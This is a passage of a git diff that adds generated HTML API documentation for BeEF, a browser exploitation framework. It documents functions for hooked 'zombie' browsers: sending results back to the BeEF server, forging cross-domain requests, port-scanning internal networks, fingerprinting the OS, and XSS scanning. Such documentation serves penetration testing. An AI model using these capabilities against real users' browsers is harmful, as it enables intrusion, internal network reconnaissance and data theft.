Command object. This represents the data to be sent back to BeEF, +using the beef.net.send() method.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) flush()

+ + + + + + +
+

Flush all currently queued command results to the framework, +chopping the data in chunks ('chunk' method) which will be re-assembled +server-side by the network stack. +NOTE: currently 'flush' is used only with the default +XHR-polling mechanism. If WebSockets are used, the data is sent +back to BeEF straight away.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) forge_request()

+ + + + + + +
+

Similar to beef.net.request, except from a few things that are needed when dealing with forged requests:

+
    +
  • requestid: needed on the callback
  • +
  • allowCrossDomain: set cross-domain requests as allowed or blocked
  • +
+

forge_request is used mainly by the Requester and Tunneling Proxy Extensions. +Example usage: +beef.net.forge_request("http", "POST", "172.20.40.50", 8080, "/lulz", +true, null, { foo: "bar" }, 5, 'html', false, null, function(response) { +alert(response.response_body)})

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) is_valid_ip()

+ + + + + + +
+

Checks if the specified IP address is valid

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) is_valid_ip_range()

+ + + + + + +
+

Checks if the specified IP address range is valid

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) is_valid_port()

+ + + + + + +
+

Checks if the specified port is valid

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) packet()

+ + + + + + +
+

Packet object. A single chunk of data. X packets -> 1 stream

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) push(stream)

+ + + + + + +
+

Push the input stream back to the BeEF server-side components. +It uses beef.net.request to send back the data.

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
stream + + +Object + + + +

the stream object to be sent back.

+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) queue(handler, cid, results, status, callback)

+ + + + + + +
+

Queues the specified command results.

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
handler + + +String + + + +

the server-side handler that will be called

cid + + +Integer + + + +

command id

results + + +String + + + +

the data to send

status + + +Integer + + + +

the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')

callback + + +function + + + +

the function to call after execution

+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) request(scheme, method, domain, port, path, anchor, data, timeout, dataType, callback) → {Object}

+ + + + + + +
+

Performs http requests

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
scheme + + +String + + + +

HTTP or HTTPS

method + + +String + + + +

GET or POST

domain + + +String + + + +

bindshell.net, 192.168.3.4, etc

port + + +Int + + + +

80, 5900, etc

path + + +String + + + +

/path/to/resource

anchor + + +String + + + +

this is the value that comes after the # in the URL

data + + +String + + + +

This will be used as the query string for a GET or post data for a POST

timeout + + +Int + + + +

timeout the request after N seconds

dataType + + +String + + + +

specify the data return type expected (ie text/html/script)

callback + + +function + + + +

call the callback function at the completion of the method

+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

this object contains the response details

+
+ + + +
+
+ Type +
+
+ +Object + + +
+
+ + + + + + + + + + + + + +

(static) response()

+ + + + + + +
+

Response Object - used in the beef.net.request callback +NOTE: as we are using async mode, the response object will be empty if returned. +Using sync mode, request obj fields will be populated.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) send(handler, cid, results, exec_status, callback) → {Integer}

+ + + + + + +
+

Queues the current command results and flushes the queue straight away. +NOTE: Always send Browser Fingerprinting results +(beef.net.browser_details(); -> /init handler) using normal XHR-polling, +even if WebSockets are enabled.

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
handler + + +String + + + +

the server-side handler that will be called

cid + + +Integer + + + +

command id

results + + +String + + + +

the data to send

exec_status + + +Integer + + + +

the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')

callback + + +function + + + +

the function to call after execution

+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

the command module execution status (defaults to 0 - 'unknown' if status is null)

+
+ + + +
+
+ Type +
+
+ +Integer + + +
+
+ + + + + + + + + + + + + +

(static) stream()

+ + + + + + +
+

Stream object. Contains X packets, which are command result chunks.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ + + +
+ + + + + + + \ No newline at end of file diff --git a/docs/beef.net.local.html b/docs/beef.net.local.html new file mode 100644 index 000000000..578f21cb3 --- /dev/null +++ b/docs/beef.net.local.html @@ -0,0 +1,449 @@ + + + + + JSDoc: Namespace: local + + + + + + + + + + +
+ +

Namespace: local

+ + + + + + +
+ +
+ +

+ .net.local

+ + +
+ +
+
+ + +

Provides networking functions for the local/internal network of the zombie.

+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + +
+ + + + + + + + + + + + + + + + +

Methods

+ + + + + + + +

(static) getLocalAddress() → {String}

+ + + + + + +
+

Returns the internal IP address of the zombie.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

the internal ip of the zombie.

+
+ + + +
+
+ Type +
+
+ +String + + +
+
+ + + + + + + + + + + + + +

(static) getLocalHostname() → {String}

+ + + + + + +
+

Returns the internal hostname of the zombie.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

the internal hostname of the zombie.

+
+ + + +
+
+ Type +
+
+ +String + + +
+
+ + + + + + + + + + + + + +

(static) initializeSocket()

+ + + + + + +
+

Initializes the java socket. We have to use this method because +some browsers do not have java installed or it is not accessible. +in which case creating a socket directly generates an error. So this code +is invalid: +sock: new java.net.Socket();

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ + + +
+ + + + + + + \ No newline at end of file diff --git a/docs/beef.net.portscanner.html b/docs/beef.net.portscanner.html new file mode 100644 index 000000000..246bb366d --- /dev/null +++ b/docs/beef.net.portscanner.html @@ -0,0 +1,504 @@ + + + + + JSDoc: Namespace: portscanner + + + + + + + + + + +
+ +

Namespace: portscanner

+ + + + + + +
+ +
+ +

+ .net.portscanner

+ + +
+ +
+
+ + +

Provides port scanning functions for the zombie. A mod of pdp's scanner

+

Version: '0.1', +author: 'Petko Petkov', +homepage: 'http://www.gnucitizen.org'

+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + +
+ + + + + + + + + + + + + + + + +

Methods

+ + + + + + + +

(static) scanPort(callback, target, port, timeout)

+ + + + + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
callback + +
target + +
port + +
timeout + +
+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) scanTarget(callback, target, ports_str, timeout)

+ + + + + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
callback + +
target + +
ports_str + +
timeout + +
+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ + + +
+ + + + + + + \ No newline at end of file diff --git a/docs/beef.net.requester.html b/docs/beef.net.requester.html new file mode 100644 index 000000000..b0c1b1d04 --- /dev/null +++ b/docs/beef.net.requester.html @@ -0,0 +1,277 @@ + + + + + JSDoc: Namespace: requester + + + + + + + + + + +
+ +

Namespace: requester

+ + + + + + +
+ +
+ +

+ .net.requester

+ + +
+ +
+
+ + +

request object structure:

+
    +
  • method: {String} HTTP method to use (GET or POST).
  • +
  • host: {String} hostname
  • +
  • query_string: {String} The query string is a part of the URL which is passed to the program.
  • +
  • uri: {String} The URI syntax consists of a URI scheme name.
  • +
  • headers: {Array} contain the operating parameters of the HTTP request.
  • +
+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + +
+ + + + + + + + + + + + + + + + +

Methods

+ + + + + + + +

(static) send(requests_array)

+ + + + + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
requests_array + + +array + + + +
+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ + + +
+ + + + + + + \ No newline at end of file diff --git a/docs/beef.net.xssrays.html b/docs/beef.net.xssrays.html new file mode 100644 index 000000000..15153859a --- /dev/null +++ b/docs/beef.net.xssrays.html @@ -0,0 +1,773 @@ + + + + + JSDoc: Namespace: xssrays + + + + + + + + + + +
+ +

Namespace: xssrays

+ + + + + + +
+ +
+ +

+ .net.xssrays

+ + +
+ +
+
+ + +

XssRays 0.5.5 ported to BeEF by Michele "antisnatchor" Orru' +The XSS detection mechanisms has been rewritten from scratch: instead of using the location hash trick (that doesn't work anymore), +if the vulnerability is triggered the JS code vector will contact back BeEF. +Other aspects of the original code have been simplified and improved.

+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + +
+ + + + + + + + + + + + + + + + +

Methods

+ + + + + + + +

(static) checkBrowser(vector_array_index)

+ + + + + + +
+

return true is the attack vector can be launched to the current browser type.

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
vector_array_index + + +array + + + +
+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) run(url, method, vector, params, urlencode)

+ + + + + + +
+

this is the main core function with the detection mechanisms...

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
url + +
method + +
vector + +
params + +
urlencode + +
+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) runJobs()

+ + + + + + +
+

run the jobs (run functions added to the stack), and clean the shit (iframes) from the DOM after a timeout value

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) startScan(xssraysScanId, hookedBrowserSession, beefUrl, crossDomain, timeout)

+ + + + + + +
+

main function, where all starts :-)

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
xssraysScanId + +
hookedBrowserSession + +
beefUrl + +
crossDomain + +
timeout + +
+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ + + +
+ + + + + + + \ No newline at end of file diff --git a/docs/beef.os.html b/docs/beef.os.html new file mode 100644 index 000000000..a4ceb4915 --- /dev/null +++ b/docs/beef.os.html @@ -0,0 +1,4198 @@ + + + + + JSDoc: Namespace: os + + + + + + + + + + +
+ +

Namespace: os

+ + + + + + +
+ +
+ +

os

+ + +
+ +
+
+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + +
+ + + + + + + + + + + + + + + + +

Methods

+ + + + + + + +

(static) getArch()

+ + + + + + +
+

Get OS architecture. +This may not be the same as the browser arch or CPU arch. +ie, 32bit OS on 64bit hardware

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) getDefaultBrowser() → {string}

+ + + + + + +
+

Detect default browser (IE only) +Written by unsticky +http://ha.ckers.org/blog/20070319/detecting-default-browser-in-ie/

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +string + + +
+
+ + + + + + + + + + + + + +

(static) getFamily()

+ + + + + + +
+

Get OS family

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) getName() → {string}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +string + + +
+
+ + + + + + + + + + + + + +

(static) getVersion() → {string}

+ + + + + + +
+

Get OS name

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +string + + +
+
+ + + + + + + + + + + + + +

(static) isAndroid() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isAros() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isBeOS() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isBlackBerry() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isIpad() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isIphone() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isIpod() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isLinux() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isMacintosh() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isNokia() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isOpenBSD() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isOsxLeopard() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isOsxMavericks() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isOsxSnowLeopard() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isOsxYosemite() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isQNX() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isSunOS() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isWebOS() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isWin7() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isWin8() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isWin10() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isWin81() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isWin95() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isWin98() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isWin311() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isWin2000() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isWin2000SP1() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isWinCE() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isWindows() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isWinME() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isWinNT4() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isWinPhone() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isWinServer2003() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isWinVista() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +

(static) isWinXP() → {boolean}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +
+ +
+ + + + +
+ + + +
+ + + + + + + \ No newline at end of file diff --git a/docs/beef.session.html b/docs/beef.session.html new file mode 100644 index 000000000..c5a9647c5 --- /dev/null +++ b/docs/beef.session.html @@ -0,0 +1,400 @@ + + + + + JSDoc: Namespace: session + + + + + + + + + + +
+ +

Namespace: session

+ + + + + + +
+ +
+ +

session

+ + +
+ +
+
+ + +

Provides basic session functions.

+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + +
+ + + + + + + + + + + + + + + + +

Methods

+ + + + + + + +

(static) gen_hook_session_id()

+ + + + + + +
+

Generates a random string using the chars in hook_session_id_chars.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) get_hook_session_id()

+ + + + + + +
+

Gets a string which will be used to identify the hooked browser session

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) set_hook_session_id()

+ + + + + + +
+

Sets a string which will be used to identify the hooked browser session

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ + + +
+ + + + + + + \ No newline at end of file diff --git a/docs/beef.timeout.html b/docs/beef.timeout.html new file mode 100644 index 000000000..2f5c566a7 --- /dev/null +++ b/docs/beef.timeout.html @@ -0,0 +1,226 @@ + + + + + JSDoc: Namespace: timeout + + + + + + + + + + +
+ +

Namespace: timeout

+ + + + + + +
+ +
+ +

timeout

+ + +
+ +
+
+ + +

Sometimes there are timing issues and looks like beef_init +is not called at all (always in cross-origin situations, +for example calling the hook with jquery getScript, +or sometimes with event handler injections).

+

To fix this, we call again beef_init after 1 second. +Cheers to John Wilander that discussed this bug with me at OWASP AppSec Research Greece +antisnatchor

+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + +
+ + + + + + + + + + + + + + + + +

Methods

+ + + + + + + +

(static) setTimeout()

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ + + +
+ + + + + + + \ No newline at end of file diff --git a/docs/beef.updater.html b/docs/beef.updater.html new file mode 100644 index 000000000..fe3e0a708 --- /dev/null +++ b/docs/beef.updater.html @@ -0,0 +1,731 @@ + + + + + JSDoc: Namespace: updater + + + + + + + + + + +
+ +

Namespace: updater

+ + + + + + +
+ +
+ +

updater

+ + +
+ +
+
+ + +

Object in charge of getting new commands from the BeEF framework and execute them. +The XHR-polling channel is managed here. If WebSockets are enabled, +websocket.ls is used instead.

+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + +
+ + + + + + + + + + + + + + +

